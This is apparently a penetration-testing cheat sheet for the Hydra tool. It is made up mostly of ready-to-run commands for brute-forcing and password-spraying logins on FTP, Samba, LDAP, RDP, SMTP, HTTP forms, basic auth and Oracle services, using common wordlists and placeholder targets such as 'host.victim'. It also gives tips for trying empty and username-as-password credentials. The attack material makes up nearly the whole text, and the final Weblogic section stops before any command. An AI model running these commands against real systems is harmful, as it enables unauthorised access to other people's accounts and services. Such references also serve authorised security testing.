Hydra

Password cracker, attacking online systems (not with hash).

FTP
Samba
LDAP
RDP
SMTP
HTTP
Oracle
Weblogic

💡 For big lists of user, try password=null/username/reverse-username without a wordlist. E.g.: hydra -L users.txt -e nsr $IP ssh -V

Usage Examples

# USERS can also be a specific account and not in a file. Example USERS=sa for mssql

# Brute force Oracle listener password
./hydra -P <Password File> -t <no of threads> -s 1521 (target default port) <target> oracle-listener
./hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener


# Bruteforce basic authentication
# Password: generate 6 chars, 0-9 and A-Z
hydra -L users.txt -x 6:6:1A "http://domain.com" http-head /path/
hydra -l admin -x 6:6:1A "http://domain.com" http-head /path/ -v

# Bruteforce same username as password, 6 chars 0-9A-Z

hydra -C /usr/share/wordlists/user_pass.txt -v "$URL" https-get

# Bruteforce login as password
URL="http://domain.com"

Bruteforce FTP

IP=x.x.x.x
CREDS=/home/kali/creds.txt
USERS=/usr/share/seclists/Usernames/Names/names.txt
WL=/usr/share/seclists/Passwords/Common-Credentials/best1050.txt

hydra -t 10 -V -f -e nsr -L $USERS -P $WL ftp://$IP
hydra -t 10 -V -f -e nsr -C $CREDS ftp://$IP

Username=password & empty password

hydra -t 10 -V -f -e nsr -L $USERS ftp://$IP

Bruteforce Samba

IP=x.x.x.x
CREDS=/home/kali/creds.txt
USERS=/usr/share/seclists/Usernames/Names/names.txt
WL=/usr/share/seclists/Passwords/Common-Credentials/best1050.txt

hydra -t 10 -V -f -e nsr -L $USERS -P $WL smb://$IP
hydra -t 10 -V -f -e nsr -C $CREDS smb://$IP

Bruteforce LDAP

USERS=users.txt
IP=x.x.x.x
WL=/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
#WL=/usr/share/wordlists/rockyou.txt
PROTOCOL=ldap2 # or ldap3
hydra -t 10 -V -f -e nsr -L $USERS -P $WL $PROTOCOL://$IP

Password Spray

hydra -t 10 -V -f -L $USERS -p "MyDefaultPassword" $PROTOCOL://$IP

Try an empty password 😉

hydra -t 10 -V -f -L $USERS -p "" $PROTOCOL://$IP

Bruteforce RDP

RDP does not reliably handle multiple threads.

hydra -t 1 -V -f -l administrator -P $WL rdp://${IP}
hydra -e nsr -C $CREDS -t 1 -s 3389 $IP rdp
hydra -l john -p doe rdp://192.168.0.1/firstdomainname
hydra -e nsr -l user1 -P $WL -t 1 -s 3389 rdp://${IP}/DOMAIN

Bruteforce SMTP

Bruteforce usernames

hydra -e nsr -l user@example.com -P $WL -S 565 $IP smtp

Bruteforce HTTP Protocol

Login forms – HTTP POST

❗ This module produces a lot of false positives when using the “failed login” message. Whenever possible, use the “success” message instead or use Burp Pro.

IP=x.x.x.x
PORT=80
WL=/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
#WL=/usr/share/wordlists/rockyou.txt
FAILED_MSG="INVALID LOGIN"
#SUCCESS_MSG="logged in as"
SUCCESS_MSG="302 Found"
COOKIES="cookie1=value1"
hydra $IP -s $PORT http-form-post "/form/login.php:user=^USER^&pass=^PASS^:$FAILED_MSG" -e nsr -l admin -P $WL -vV -f
hydra $IP -s $PORT http-form-post "/form/login.php:user=^USER^&pass=^PASS^:S=$SUCCESS_MSG" -e nsr -l admin -P $WL -vV -f
hydra $IP -s $PORT http-form-post "/form/login.php:user=^USER^&pass=^PASS^:$FAILED_MSG:H=Cookie: ${COOKIES}" -e nsr -l admin -P $WL -vV -f
hydra $IP -s $PORT http-form-post "/form/login.php:user=^USER^&pass=^PASS^:S=$SUCCESS_MSG:H=Cookie: ${COOKIES}" -e nsr -l admin -P $WL -vV -f

HTTP GET – Basic auth

#WL=/usr/share/wordlists/rockyou.txt
hydra -e nsr -L users.txt -P $WL $IP http-get /webdav/ -v

Bruteforce Oracle SIDs

See Oscanner in Oracle Database.

IP=x.x.x.x
hydra -L /usr/share/oscanner/services.txt -s 1521 $IP oracle-sid

Bruteforce Oracle Weblogic

IP=x.x.x.x
WL=/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
